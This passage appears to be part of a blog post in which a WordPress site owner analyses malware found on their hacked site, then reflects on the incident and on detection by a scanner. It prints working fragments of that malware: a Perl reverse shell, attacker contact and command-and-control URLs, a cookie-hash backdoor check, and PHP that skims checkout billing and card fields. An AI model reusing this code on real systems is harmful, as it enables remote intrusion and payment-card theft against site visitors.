socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system('/bin/sh -i');
close(STDIN);
close(STDOUT);
close(STDERR);n)
Some attribution?
define("SMILODON_EMAIL", "r.kortes2018@yandex.ru");
define("SMILODON_URL", "https://javasources.net/SMILODON/index.php?view=");
$get_url = "https://predator.host/SMILODON/index.php?view="
$get_url = "https://zolo.pw/wtf/index.php?h=" . $_SERVER['HTTP_HOST'];
Special Cookies:
if (((isset($_COOKIE['wtf'])) && (md5($_COOKIE['wtf']) == '7ac1cca5bee8b8b31a521b97b0988063')) || ((isset($_COOKIE['ftw'])) && (md5($_COOKIE['ftw']) == '7ac1cca5bee8b8b31a521b97b0988063')))
Payments / Credit Card pinching:
if (isset($_POST['billing_first_name'])) {
$firstname = isset($_POST['billing_first_name']) ? $_POST['billing_first_name'] : "";
$lastname = isset($_POST['billing_last_name']) ? $_POST['billing_last_name'] : "";
$country = isset($_POST['billing_country']) ? $_POST['billing_country'] : "";
$region = isset($_POST['billing_state']) ? $_POST['billing_state'] : "";
$city = isset($_POST['billing_city']) ? $_POST['billing_city'] : "";
$address = isset($_POST['billing_address_1']) ? $_POST['billing_address_1'] : "";
$zip = isset($_POST['billing_postcode']) ? $_POST['billing_postcode'] : "";
$phone = isset($_POST['billing_phone']) ? $_POST['billing_phone'] : "";
$email = isset($_POST['billing_email']) ? $_POST['billing_email'] : "";
$bill = $firstname . ' ' . $lastname . '|' . $address . '|' . $city . '|' . $region . ' |' . $zip . '|' . $country . '|' . $phone . ' ' . $email;
setcookie("_wdata", base64_encode($bill), time() + 3600, "/");
$_COOKIE['_wdata'] = base64_encode($bill);
};
if (isset($_POST['payment'])) {
$fieldsArray = array(
"/.*cc_num.*/" => 1,
"/.*control_settings.*/" => 1,
"/.*cc_exp_m.*/" => 2,
"/.*exp_month.*/" => 2,
"/.*expirationMonth.*/" => 2,
"/.*msn_set.*/" => 2,
"/.*cc_exp_y.*/" => 3,
"/.*exp_year.*/" => 3,
"/.*expirationYear.*/" => 3,
"/.*yellow_set.*/" => 3,
"/.*savage_set.*/" => 4,
"/.*cc_cid.*/" => 4
);
Wrapping Up:
There’s more code, most of it has random function names and concatenated strings making it a little harder to follow. It’s mostly the types of things you’d expect in a backdoor – inventory tasks and functions to attempt privilege escalation.
This mini incident was a bit of a wakeup call to me. I told myself I didn’t really care too much about security for a blogging site, but I think on some level I just assumed it wouldn’t happen to me. I’ve taken the site down for now, or at least parked it. I reached out to the hosting provider to let them know in case someone was able to get a good level of access to the underlying OS. There’s that unlikely chance that the person using the shell could have broken out of my hosting environment and had some influence on other hosts. More likely though, it’s possible they could have served more malware from my site - that’s pretty horrible.
Oh, regarding Wordfence. I’m definitely not trying to push their product, I’ve only been a customer for a week, but I would say: if it hadn’t caught that sneaky “include” statement in a .php file as a sign that something was up, I’ll be honest and admit that I wouldn’t have spotted this for quite a while. There’s just so much code in a WordPress site, if you maintain one, I would recommend getting an automated scanning product and Wordfence did the job for me.